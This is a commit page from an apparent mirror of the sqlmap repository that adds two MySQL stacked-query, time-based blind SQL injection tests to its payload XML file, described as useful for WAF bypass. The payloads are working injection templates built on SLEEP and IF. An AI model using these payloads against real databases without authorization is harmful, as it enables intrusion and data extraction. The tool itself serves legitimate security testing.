PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-01-22 22:29:05 +00:00
Code Issues Projects Releases Wiki Activity

Reintroducing stacked queries removed in 79d08906a4 (good for WAF bypass)

Browse Source
This commit is contained in:
Miroslav Stampar
2016-07-03 02:03:30 +02:00
parent cb43c03712
commit 3a9e36c52b
2 changed files with 42 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

41
xml/payloads/04_stacked_queries.xml
View File

@@ -43,6 +43,47 @@
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (SLEEP - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>0</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (SLEEP)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>0</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (heavy query - comment)</title>
<stype>4</stype>